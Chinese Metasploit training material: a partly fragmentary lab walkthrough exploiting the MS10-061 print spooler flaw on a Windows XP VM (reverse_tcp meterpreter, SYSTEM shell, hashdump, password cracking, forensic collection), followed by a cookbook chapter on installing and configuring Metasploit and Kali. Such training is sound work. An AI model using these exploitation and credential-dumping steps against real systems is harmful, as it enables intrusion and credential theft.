Metasploit Framework是一個(gè)開源滲透工具,Metasploit滲透測(cè)試框架擁有世界上最大的公共測(cè)試漏洞數(shù)據(jù)庫。簡(jiǎn)單來說,Metasploit可以用來檢測(cè)安全漏洞,另一方面它也可以用來進(jìn)行入侵。
安全事件響應(yīng)和取證工具
利用MSF中的攻擊模塊:ms10_061_spoolss
Windows打印后臺(tái)程序沒有充分的限制訪問該服務(wù)的用戶權(quán)限,攻擊者可以通過提交特制的打印請(qǐng)求在Windows系統(tǒng)目錄(%SystemRoot%\system32)中創(chuàng)建文件。
攻擊者可指定任何文件名,包括目錄遍歷,通過發(fā)送 WritePrinter 請(qǐng)求,攻擊者可以完全控制創(chuàng)建文件的內(nèi)容。
將文件寫入到Windows系統(tǒng)目錄(%SystemRoot%\system32)后,通過WMI來部署惡意程序,因?yàn)橄到y(tǒng)會(huì)自動(dòng)運(yùn)行%SystemRoot%\System32\Wbem\MOF文件夾的mof文件、執(zhí)行命令。
該漏洞首次被發(fā)現(xiàn)并被應(yīng)用于著名的Stuxnet蠕蟲(俗稱“震網(wǎng)”)
攻擊機(jī):Kali linux 目標(biāo)機(jī):Windows xp sp2
1)打開控制面板,雙擊“打印和傳真”
2)添加打印機(jī),右鍵選擇 添加打印機(jī)
本地打印機(jī),不勾選“自動(dòng)檢測(cè)和安裝驅(qū)動(dòng)”
選擇 使用 LPT1 端口
選一個(gè)打印機(jī)廠商和型號(hào),我們隨便選一個(gè)
給打印機(jī)取個(gè)名字
選擇共享這個(gè)打印機(jī)
不打印測(cè)試頁
完成設(shè)置
1)nmap 掃描
nmap -sS -sU -O -p137-139,445 192.168.1.149
2)查找 NetBIOS 名稱
nmblookup -A 192.168.1.149
NetBIOS工作站名字:WXPSP2
NetBIOS組名:MSHOME
Master Browser:_MSBROWSE_
第二列解釋:NetBIOS后綴
00:Workstation Service(workstation name) 類型:Group
03:Windows Messenger service
06:Remote Access Server
20:File Service(also called Host Record)
21:Remote Access Service client
1B:Domain Master Browser-Primary Domain Controller for a domain
1D:Master Browser
第四列:節(jié)點(diǎn)類型
B-node:0x01 Broadcast
P-node:0x02 Peer(WINS only)
M-node:0x04 Mixed(broadcast,then WINS)
H-node:0x08 Hybrid(WINS,then broadcast)
smbclient -L \\\WXPSP2 -I 192.168.1.149 -N
看到了打印共享
1)載入模塊,查看需要配置的參數(shù)
2)配置參數(shù)
3)設(shè)置payload
set PAYLOAD windows/meterpreter/reverse_tcp
4)設(shè)置payload參數(shù)
5)攻擊
攻擊完成后,建立了遠(yuǎn)程會(huì)話
惡意程序被寫入到目標(biāo)機(jī)的%SystemRoot%\system32\g9bMJIYNoBtyOS.exe,此程序運(yùn)行后反彈了一個(gè)shell給Kali,從而建立了一個(gè)Meterpreter會(huì)話。請(qǐng)記錄這個(gè)程序的名字,后續(xù)會(huì)用到
而惡意程序是通過%SystemRoot%\system32\wbem\mof\kT044wvLBYxwGk.mof控制運(yùn)行的
6)接下來我們可以執(zhí)行一系列操作
6.1)getuid,getpid
可以看到我們獲取了系統(tǒng)的system權(quán)限,getpid得到的是當(dāng)前Meterpreter會(huì)話的進(jìn)程ID,記住這個(gè)PID
6.2)執(zhí)行shell,可以直接進(jìn)入目標(biāo)機(jī)的命令行界面
6.3)查找PID 392關(guān)聯(lián)進(jìn)程
可以看到正是前面我們寫入的那個(gè)惡意程序
6.4)查找PID 392 關(guān)聯(lián)的網(wǎng)絡(luò)鏈接
11.1)進(jìn)程信息收集
tasklist > forensics_tasklist.txt
11.2)網(wǎng)絡(luò)信息收集
netstat -ano > forensics_netstat.txt
11.3)目錄文件信息收集
dir > dir_forensics.txt
11.4)退出shell
利用hashdump獲取SAM數(shù)據(jù)庫
SAM是Windows XP,Windows Vista和Windows 7中存儲(chǔ)用戶密碼的數(shù)據(jù)庫文件
將獲取到的信息復(fù)制到一個(gè)文本文件
1)加載 Helix2008R1 光盤
2)收集信息
選擇 Live Acquisition,填寫相關(guān)信息。
等待內(nèi)存信息收集完成
取證完成,會(huì)自動(dòng)關(guān)閉此cmd窗口
3)查看收集的文件
下載我們之前收集的進(jìn)程信息,網(wǎng)絡(luò)信息和惡意程序
download C:\\WINDOWS\\system32\\forensics_tasklist.txt /forensics/ms10_061/
download C:\\WINDOWS\\system32\\forensics_netstat.txt /forensics/ms10_061/
download C:\\WINDOWS\\system32\\dir_forensics.txt /forensics/ms10_061/
download C:\\WINDOWS\\system32\\g9bMJIYNoBtyOS.exe /forensics/ms10_061/
成功破解了管理員密碼
信息收集完成,后續(xù)我們將使用Volatility從抓取的內(nèi)存進(jìn)行分析
原創(chuàng): 合天網(wǎng)安實(shí)驗(yàn)室 合天智匯
在本章中,我們將會(huì)學(xué)習(xí)以下內(nèi)容:
1、在Windows上安裝Metasploit
2、在Linux和MacOS上安裝Metasploit
3、在Kali Linux中使用 Metasploit
4、升級(jí)Kali Linux
5、使用虛擬化軟件構(gòu)建滲透測(cè)試實(shí)驗(yàn)環(huán)境
6、配置SSH連接
7、使用SSH連接Kali
8、配置PostgreSQL數(shù)據(jù)庫
9、創(chuàng)建工作區(qū)
10、使用數(shù)據(jù)庫
11、使用hosts命令
12、理解services命令
?
簡(jiǎn)介
Metasploit是目前世界上領(lǐng)先的滲透測(cè)試工具,也是信息安全與滲透測(cè)試領(lǐng)域最大的開源項(xiàng)目之一。它徹底改變了我們執(zhí)行安全測(cè)試的方式。
Metasploit之所以流行,是因?yàn)樗梢詧?zhí)行廣泛的安全測(cè)試任務(wù),從而簡(jiǎn)化滲透測(cè)試的工作。Metasploit適用于所有流行的操作系統(tǒng),本書中,主要以Kali Linux為主。因?yàn)镵ali Linux預(yù)裝了 Metasploit 框架和運(yùn)行在框架上的其他第三方工具。
框架和相關(guān)術(shù)語簡(jiǎn)介:
Metasploit Framework:這是一個(gè)免費(fèi)的、開源的滲透測(cè)試框架,由 H.D.Moore 在 2003 年發(fā)布,后來被 Rapid7 收購。當(dāng)前穩(wěn)定版本是使用 Ruby 語言編寫的。它擁有世界上最大的滲透測(cè)試攻擊數(shù)據(jù)庫,每年超過100萬次的下載。它也是迄今為止使用 Ruby構(gòu)建的最復(fù)雜的項(xiàng)目之一。
Vulnerability:允許攻擊者入侵或危害系統(tǒng)安全性的弱點(diǎn)稱為漏洞,漏洞可能存在于操作系統(tǒng),應(yīng)用軟件甚至網(wǎng)絡(luò)協(xié)議中。
Exploit:攻擊代碼或程序,它允許攻擊者利用易受攻擊的系統(tǒng)并危害其安全性。每個(gè)漏洞都有對(duì)應(yīng)的漏洞利用程序。Metasploit有超過 1700 個(gè)漏洞利用程序。
Payload:攻擊載荷。它主要用于建立攻擊者和受害者機(jī)器直接的連接,Metasploit有超過 500個(gè)有效攻擊載荷。
Module:模塊是一個(gè)完整的構(gòu)件,每個(gè)模塊執(zhí)行特定的任務(wù),并通過幾個(gè)模塊組成一個(gè)單元運(yùn)行。這種架構(gòu)的好處是可以很容易的將自己寫的利用程序和工具集成到框架中。
Metasploit框架具有模塊化的體系結(jié)構(gòu),exploits、payload、encoders都是獨(dú)立的模塊:
?
Metasploit提供兩種不同的UI,msfconsole和WebUI,本書中主要使用msfconsole接口。因?yàn)閙sfconsole對(duì)Metasploit支持最好,可以使用所有功能。
1、在Windows上安裝Metasploit
在Windows上安裝Metasploit非常簡(jiǎn)單,直接從官方下載(http://www.metasploit.com/download).安裝文件進(jìn)行安裝即可。
準(zhǔn)備工作
Metasploit的四個(gè)版本:
Pro:適用于滲透測(cè)試人員和IT安全團(tuán)隊(duì)
Express:適用于一般IT人員
Community:適用于小公司和學(xué)生
Framework:適用于開發(fā)人員和安全研究人員
請(qǐng)從官網(wǎng)下載最新版的 Metasploit Framework
(https://windows.metasploit.com/metasploitframework-latest.msi) 它包含控制臺(tái)程序和其他依賴程序。
如何安裝
下載完之后,運(yùn)行即可,它將自動(dòng)安裝相關(guān)所有組件。
?
?
?
?
?
Tip:在Windows上安裝Metasploit時(shí)候,應(yīng)該禁用防護(hù)軟件,因?yàn)榭赡軙?huì)檢測(cè)到一些安裝文件為惡意程序,從而阻止安裝過程。安裝完后將 Metasploit加入到防護(hù)軟件的白名單。
2、在Linux和MacOS上安裝Metasploit
通過以下快速安裝腳本導(dǎo)入Rapid7簽名密鑰并為受支持的Linux和macOS系統(tǒng)設(shè)置程序包:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall
軟件包將集成到系統(tǒng)的包管理器中,可以使用 msfupdate 命令或包管理器進(jìn)行更新。
安裝過程差不多是這樣的:
bcook@localhost:~$ uname -a Linux localhost 3.14.0 #1 SMP PREEMPT Mon Feb 6 21:59:30 PST 2017 armv7l armv7l armv7l GNU/Linux bcook@localhost:~$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ > chmod 755 msfinstall && \ > ./msfinstall % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5394 100 5394 0 0 5609 0 --:--:-- --:--:-- --:--:-- 5607 Switching to root user to update the package [sudo] password for bcook: Adding metasploit-framework to your repository list..OK Updating package cache..OK Checking for and installing update.. Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: metasploit-framework 0 upgraded, 1 newly installed, 0 to remove and 2 not upgraded. Need to get 148 MB of archives. After this operation, 358 MB of additional disk space will be used. Get:1 http://downloads.metasploit.com/data/releases/metasploit-framework/apt lucid/main armhf metasploit-framework armhf 4.13.23+20170217143300.git.1.85dca6a~1rapid7-1 [148 MB] Fetched 148 MB in 19s (7743 kB/s) Selecting previously unselected package metasploit-framework. (Reading database ... 28449 files and directories currently installed.) Preparing to unpack .../metasploit-framework_4.13.23+20170217143300.git.1.85dca6a~1rapid7-1_armhf.deb ... Unpacking metasploit-framework (4.13.23+20170217143300.git.1.85dca6a~1rapid7-1) ... Setting up metasploit-framework (4.13.23+20170217143300.git.1.85dca6a~1rapid7-1) ... update-alternatives: using /opt/metasploit-framework/bin/msfbinscan to provide /usr/bin/msfbinscan (msfbinscan) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfconsole to provide /usr/bin/msfconsole (msfconsole) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfd to provide /usr/bin/msfd (msfd) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfdb to provide /usr/bin/msfdb (msfdb) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfelfscan to provide /usr/bin/msfelfscan (msfelfscan) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfmachscan to provide /usr/bin/msfmachscan (msfmachscan) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfpescan to provide /usr/bin/msfpescan (msfpescan) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfrop to provide /usr/bin/msfrop (msfrop) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfrpc to provide /usr/bin/msfrpc (msfrpc) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfrpcd to provide /usr/bin/msfrpcd (msfrpcd) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfupdate to provide /usr/bin/msfupdate (msfupdate) in auto mode update-alternatives: using /opt/metasploit-framework/bin/msfvenom to provide /usr/bin/msfvenom (msfvenom) in auto mode Run msfconsole to get started W: --force-yes is deprecated, use one of the options starting with --allow instead. bcook@localhost:~$ msfconsole //啟動(dòng)msfconsole ** Welcome to Metasploit Framework Initial Setup ** Please answer a few questions to get started. Would you like to use and setup a new database (recommended)? y //是否設(shè)置數(shù)據(jù)庫 Creating database at /home/bcook/.msf4/db Starting database at /home/bcook/.msf4/db...success Creating database users Creating initial database schema ** Metasploit Framework Initial Setup Complete **=[ metasploit v4.13.23-dev-584850f1f8a1a74b69b5cea16c700c9fd1b8e4c6] + -- --=[ 1622 exploits - 924 auxiliary - 282 post ] + -- --=[ 472 payloads - 39 encoders - 9 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >
在MacOS中手動(dòng)安裝Metasploit
最新的OS X安裝程序包也可以直接在這里下載:https://osx.metasploit.com/metasploitframework-latest.pkg
下載完后安裝即可,安裝完后,使用/opt/metasploit-framework/bin/msfconsole啟動(dòng)msfconsole。
3、在Kali Linux上使用Metasploit
Kali Linux是最受安全從業(yè)人員歡迎的操作系統(tǒng),第一、它預(yù)裝了幾乎所有流行的滲透測(cè)試工具,降低了使用成本,其次它是基于Linux的操作系統(tǒng),具有可靠的穩(wěn)定性和安全性。
準(zhǔn)備工作
你可以在物理機(jī)上安裝Kali Linux,也可以在虛擬機(jī)中安裝它,安裝過程非常簡(jiǎn)單。
在Kali Linux設(shè)置Metasploit開發(fā)環(huán)境可以用以下命令:
sudo apt update sudo apt -y install autoconf bison build-essential curl git-core libapr1 libaprutil1 libcurl4-openssl-dev libgmp3-dev libpcap-dev libpq-dev libreadline6-dev libsqlite3-dev libssl-dev libsvn1 libtool libxml2 libxml2- dev libxslt-dev libyaml-dev locate ncurses-dev openssl postgresql postgresql-contrib wget xsel zlib1g zlib1g-dev curl -sSL https://rvm.io/mpapis.asc | gpg --import - curl -L https://get.rvm.io | bash -s stable source ~/.rvm/scripts/rvm cd /opt sudo git clone https://github.com/rapid7/metasploit-framework.git sudo chown -R `whoami` /opt/metasploit-framework cd metasploit-framework rvm --install $(cat .ruby-version) gem install bundler bundle install
如何安裝
你可以從Kali官網(wǎng)下載(https://www.kali.org)Kali Linux ISO鏡像文件,用來制作USB啟動(dòng)盤或者制作DVD-ROM光盤。你可以將Kali Linux安裝到硬盤上或者直接使用 Live CD模式。也可以在虛擬機(jī)中安裝Kali Linux。
本書中,我們將使用 Kali Linux 虛擬機(jī)。
1、從官網(wǎng)下載 Kali Vmware 虛擬機(jī)文件,導(dǎo)入到Vmware Workstation中,啟動(dòng)系統(tǒng),輸入用戶名和密碼即可登錄到Kali中,root默認(rèn)密碼是toor。
2、成功登錄后,直接從 應(yīng)用程序 菜單中啟動(dòng) Metasploit
?
Tip:從應(yīng)用程序菜單啟動(dòng) Metasploit后,將自動(dòng)設(shè)置PostgreSQL數(shù)據(jù)庫,它將創(chuàng)建數(shù)據(jù)庫用戶,創(chuàng)建msf和msf_test數(shù)據(jù)庫,配置Metasploit使用數(shù)據(jù)庫,并通過以下命令啟動(dòng)msfconsole:(這是自動(dòng)的,不需要手動(dòng)執(zhí)行下面的命令)
service postgresql start && msfdb init && msfconsole
過程如下:
?
其他
或者你可以直接在終端中運(yùn)行msfconsole啟動(dòng)Metasploit
4、升級(jí)Kali Linux
升級(jí)Kali Linux非常簡(jiǎn)單,建議定期升級(jí)以獲得最新的安全更新。若要升級(jí),可以使用 apt update,然后使用 apt upgrade進(jìn)行升級(jí),這種方法是在不刪除任何包的情況下升級(jí)已安裝的包。如果要升級(jí)大的版本和重要更新。可以使用apt full-upgrade進(jìn)行完全升級(jí),這種方式將會(huì)刪除過時(shí)的軟件包和安裝新的依賴。
5、構(gòu)建滲透測(cè)試實(shí)驗(yàn)環(huán)境
構(gòu)建一個(gè)滲透測(cè)試實(shí)驗(yàn)環(huán)境是非常有必要的。它允許你在一個(gè)安全的環(huán)境中練習(xí)和測(cè)試,因?yàn)橹苯俞槍?duì)真實(shí)系統(tǒng)攻擊測(cè)試是違法的。使用虛擬機(jī)構(gòu)建滲透測(cè)試實(shí)驗(yàn)環(huán)境具有可移植性,靈活性和低維護(hù)成本。并且可以構(gòu)建多種操作系統(tǒng),設(shè)置復(fù)雜的網(wǎng)絡(luò)場(chǎng)景,并在多個(gè)目標(biāo)上執(zhí)行滲透測(cè)試。
準(zhǔn)備工作
選擇你喜歡的虛擬化軟件,比如 Vmware Workstation、VirtualBox、Hyper-V等
我們需要構(gòu)建的滲透測(cè)試實(shí)驗(yàn)環(huán)境拓?fù)淙缦拢?/p>
?
包含 Kali Linux,Linux服務(wù)器和Windows服務(wù)器以及一臺(tái)Windows 10客戶機(jī)。
當(dāng)然你可以根據(jù)自己的喜好來構(gòu)建。
如何構(gòu)建
Kali Linux:直接從Kali官網(wǎng)下載安裝就行
Linux服務(wù)器:可以從 SourceForge下載 Metasploitable2 : https://sourceforge.net/projects/ metasploitable/files/Metasploitable2/
Windows 10 客戶機(jī):可以從微軟開發(fā)者網(wǎng)站下載 90天評(píng)估版: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
Windows Server:我們通過Metasploitable 3來構(gòu)建。在Windows上運(yùn)行build_win2008.sh進(jìn)行構(gòu)建。
Metasploitable 3 安裝過程在此不做描述
構(gòu)建過程不做詳細(xì)描述
6、配置SSH連接
準(zhǔn)備工作
要配置遠(yuǎn)程登錄Kali Linux,首先我們需要更改默認(rèn)的root密碼并生成新的SSH密鑰。
怎么做
使用passwd命令修改root密碼
root@osboxes:~# passwd Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully root@osboxes:~#
重新配置SSH主機(jī)密鑰非常簡(jiǎn)單,首先刪除當(dāng)前的SSH主機(jī)密鑰,然后使用dpkg-reconfigure openssh-server命令重新生成密鑰即可。
root@osboxes:~# rm /etc/ssh/ssh_host_* root@osboxes:~# dpkg-reconfigure openssh-server Creating SSH2 RSA key; this may take some time ... 2048 SHA256:1FN10l0k50Ng/dpeLIXTPmFGyupZB22hk4JNQC1aKcI root@osboxes (RSA) Creating SSH2 ECDSA key; this may take some time ... 256 SHA256:37c9q4AwOW4wEwUoEpQ1Jz/KXIYJfV53ORWeGBzONdI root@osboxes (ECDSA) Creating SSH2 ED25519 key; this may take some time ... 256 SHA256:ky1bOQlbMFIMB0si0w7Msv32fpSeza6lZeHn8OevGdU root@osboxes (ED25519) rescue-ssh.target is a disabled or a static unit, not starting it.
我們還需要編輯OpenSSH服務(wù)配置文件:/etc/ssh/sshd_config,將#PermitRootLogin without-password 更改為PermitRootLogin yes,從而運(yùn)行root遠(yuǎn)程登錄。
?
若要設(shè)置SSH服務(wù)開機(jī)啟動(dòng),則執(zhí)行systemctl enable ssh即可
root@osboxes:~# systemctl enable ssh Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable ssh Created symlink /etc/systemd/system/sshd.service → /lib/systemd/system/ssh.service.
Tip:最好是將遠(yuǎn)程登錄配置為密鑰登錄,而不是使用密碼。
7、使用SSH連接到Kali
要連接到Kali Linux,我們只需要使用SSH客戶端即可,大多數(shù)Unix,Linux和MacOS都已經(jīng)安裝了SSH客戶端。如果使用的是Windows,可以安裝PuTTY等SSH客戶端軟件。
怎么做
查看Kali的IP地址
root@osboxes:~# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:9f:99:bf brd ff:ff:ff:ff:ff:ff inet 192.168.177.138/24 brd 192.168.177.255 scope global dynamic noprefixroute eth0 valid_lft 1784sec preferred_lft 1784sec inet6 fe80::28ff:605:ed51:4ab7/64 scope link noprefixroute valid_lft forever preferred_lft forever
使用SSH 客戶端連接到Kali
λ ssh root@192.168.177.138 The authenticity of host '192.168.177.138 (192.168.177.138)' can't be established. ECDSA key fingerprint is SHA256:37c9q4AwOW4wEwUoEpQ1Jz/KXIYJfV53ORWeGBzONdI. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.177.138' (ECDSA) to the list of known hosts. root@192.168.177.138's password: Linux osboxes 4.14.0-kali3-amd64 #1 SMP Debian 4.14.12-2kali1 (2018-01-08) x86_64 The programs included with the Kali GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Linux osboxes 4.14.0-kali3-amd64 #1 SMP Debian 4.14.12-2kali1 (2018-01-08) x86_64 The programs included with the Kali GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@osboxes:~#
8、配置PostgreSQL數(shù)據(jù)庫
Metasploit的一個(gè)重要特性是支持PostgreSQL數(shù)據(jù)庫,使用它來存儲(chǔ)滲透測(cè)試結(jié)果和漏洞信息。
準(zhǔn)備工作
啟動(dòng)服務(wù),然后使用 Metasploit msfdb 初始化數(shù)據(jù)庫
怎么做
1、啟動(dòng)數(shù)據(jù)庫
root@osboxes:~# systemctl start postgresql
2、初始化數(shù)據(jù)庫
~# msfdb init Creating database user 'msf' Enter password for new role: Enter it again: Creating databases 'msf' and 'msf_test' Creating configuration file in /usr/share/metasploit-framework/config/database.yml Creating initial database schema msfdb 還可以用來管理Metasploit Framework數(shù)據(jù)庫 root@osboxes:~# msfdb Manage the metasploit framework database msfdb init # start and initialize the database msfdb reinit # delete and reinitialize the database msfdb delete # delete database and stop using it msfdb start # start the database msfdb stop # stop the database msfdb status # check service status msfdb run # start the database and run msfconsole
3、修改數(shù)據(jù)庫配置文件
我們可以直接編輯 database.yml文件,文件位于/usr/share/metasploit-framework/config/database.yml
root@osboxes:~# cat /usr/share/metasploit-framework/config/database.yml development: adapter: postgresql database: msf username: msf password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=host: localhost port: 5432 pool: 5 timeout: 5 production: adapter: postgresql database: msf username: msf password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=host: localhost port: 5432 pool: 5 timeout: 5 test: adapter: postgresql database: msf_test username: msf password: 9JHbuu/CdoGT0kvBiSXf+VLDRQ9dKKpMYyWKY6Ui2jc=host: localhost port: 5432 pool: 5 timeout: 5
里面的usrname和password是默認(rèn)配置的,你可以根據(jù)自己的喜好進(jìn)行更改
4、確定是否連接到數(shù)據(jù)庫
啟動(dòng)msfconsole,然后執(zhí)行db_status,檢查數(shù)據(jù)庫連接情況。
msf > db_status [*] postgresql connected to msf msf >
更多
如果要手動(dòng)連接到數(shù)據(jù)庫,可以使用如下命令:
db_connect <user:pass>@<host:port>/<database>
我們可以使用databse.yml文件測(cè)試db_connect命令
msf > db_disconnect //斷開連接
msf > db_status //查看連接狀態(tài)
[*] postgresql selected, no connection msf > db_connect [*] Usage: db_connect <user:pass>@<host:port>/<database> [*] OR: db_connect -y [path/to/database.yml] [*] Examples: [*] db_connect user@metasploit3 [*] db_connect user:pass@192.168.0.2/metasploit3 [*] db_connect user:pass@192.168.0.2:1500/metasploit3 msf > db_connect -y /usr/share/metasploit-framework/config/database.yml //連接數(shù)據(jù)庫 [*] Rebuilding the module cache in the background... msf > db_status //查看連接狀態(tài) [*] postgresql connected to msf msf >
9、創(chuàng)建工作區(qū)
Metasploit中有工作區(qū)的概念,可以用來隔離不同的滲透測(cè)試任務(wù),從而避免混淆不同的測(cè)試。
怎么做
1、默認(rèn)工作區(qū)
默認(rèn)工作區(qū)是default,輸入workspace查看
msf > workspace * default msf >
輸入workspace -h 查看命令幫助
msf > workspace -h Usage: workspace List workspaces workspace -v List workspaces verbosely workspace [name] Switch workspace workspace -a [name] ... Add workspace(s) workspace -d [name] ... Delete workspace(s) workspace -D Delete all workspaces workspace -r <old> <new> Rename workspace workspace -h Show this help information msf >
2、新建工作區(qū)
使用workspace -a
命令添加新的工作區(qū)
msf > workspace -a book [*] Added workspace: book msf > workspace default * book msf >
3、刪除工作區(qū)
使用workspace -d
命令刪除工作區(qū)
msf > workspace -d book [*] Deleted workspace: book [*] Switched workspace: default
4、更改工作區(qū)
使用workspace
命令更改工作區(qū)
msf > workspace book [*] Workspace: book
5、重命名工作區(qū)
使用workspace -r
命令更改工作區(qū)
msf > workspace -r book msf [*] Switched workspace: msf msf >
10、使用數(shù)據(jù)庫
配置完數(shù)據(jù)庫,我們就可以使用它了,首先我們了解如何使用db_import導(dǎo)入外部工具數(shù)據(jù)。
準(zhǔn)備工作
在msfconsole中運(yùn)行db_import命令,查看支持的文件類型
msf > db_import Usage: db_import <filename> [file2...] Filenames can be globs like *.xml, or **/*.xml which will search recursively Currently supported file types include: Acunetix Amap Log Amap Log -m Appscan Burp Session XML Burp Issue XML CI Foundstone FusionVM XML ... Wapiti XML msf >
怎么做
1、導(dǎo)入nmap掃描結(jié)果
先完成掃描,保存結(jié)果為 XML 文檔
root@osboxes:~# nmap -Pn -A -oX report 192.168.177.139
2、然后執(zhí)行 db_import PATH進(jìn)行導(dǎo)入
msf > db_import /root/report [*] Importing 'Nmap XML' data [*] Import: Parsing with 'Nokogiri v1.8.5' [*] Importing host 192.168.177.139 [*] Successfully imported /root/report msf >
3、當(dāng)然也可以直接在msfconsole中運(yùn)行dbnmap進(jìn)行掃描,這樣結(jié)果就直接保存到當(dāng)前數(shù)據(jù)庫中了,dbnmap 命令的參數(shù)與nmap 命令相同。
11、使用 hosts 命令
既然數(shù)據(jù)庫中有了數(shù)據(jù),就可以使用hosts命令來顯示當(dāng)前工作區(qū)中存儲(chǔ)的所有主機(jī)了。
msf > hosts Hosts=====address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 192.168.177.139 00:0c:29:c6:a9:e5 Unknown device msf >
怎么做
1、查看命令幫助hosts -h
msf > hosts -h Usage: hosts [ options ] [addr1 addr2 ...] OPTIONS: -a,--add Add the hosts instead of searching -d,--delete Delete the hosts instead of searching -c <col1,col2> Only show the given columns (see list below) -C <col1,col2> Only show the given columns until the next restart (see list below) -h,--help Show this help information -u,--up Only show hosts which are up -o <file> Send output to a file in csv format -O <column> Order rows by specified column number -R,--rhosts Set RHOSTS from the results of the search -S,--search Search string to filter by -i,--info Change the info of a host -n,--name Change the name of a host -m,--comment Change the comment of a host -t,--tag Add or specify a tag to a range of hosts Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags msf >
12、理解 services 命令
services命令作用是顯示目標(biāo)主機(jī)上可用的服務(wù)
查看命令幫助:
msf > services -h Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...] -a,--add Add the services instead of searching -d,--delete Delete the services instead of searching -c <col1,col2> Only show the given columns -h,--help Show this help information -s <name1,name2> Search for a list of service names -p <port1,port2> Search for a list of ports -r <protocol> Only show [tcp|udp] services -u,--up Only show services which are up -o <file> Send output to a file in csv format -O <column> Order rows by specified column number -R,--rhosts Set RHOSTS from the results of the search -S,--search Search string to filter by Available columns: created_at, info, name, port, proto, state, updated_at
怎么做
1、顯示所有可用服務(wù)
msf > services Services========host port proto name state info ---- ---- ----- ---- ----- ---- 192.168.177.142 22 tcp ssh open OpenSSH 5.3p1 Debian 3ubuntu4 Ubuntu Linux; protocol 2.0 192.168.177.142 80 tcp http open Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1 192.168.177.142 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP 192.168.177.142 143 tcp imap open Courier Imapd released 2008 192.168.177.142 443 tcp ssl/https open 192.168.177.142 445 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP 192.168.177.142 5001 tcp java-rmi open Java RMI 192.168.177.142 8080 tcp http open Apache Tomcat/Coyote JSP engine 1.1 192.168.177.142 8081 tcp http open Jetty 6.1.25 msf >
2、過濾服務(wù)
msf > services -s http Services========host port proto name state info ---- ---- ----- ---- ----- ---- 192.168.177.142 80 tcp http open Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1 192.168.177.142 8080 tcp http open Apache Tomcat/Coyote JSP engine 1.1 192.168.177.142 8081 tcp http open Jetty 6.1.25 3、過濾端口 msf > services -p 22 Services========host port proto name state info ---- ---- ----- ---- ----- ---- 192.168.177.142 22 tcp ssh open OpenSSH 5.3p1 Debian 3ubuntu4 Ubuntu Linux; protocol 2.0 msf >
4、搜索特定字符
msf > services -S Apache Services========host port proto name state info ---- ---- ----- ---- ----- ---- 192.168.177.142 80 tcp http open Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1 192.168.177.142 8080 tcp http open Apache Tomcat/Coyote JSP engine 1.1
5、多條件過濾
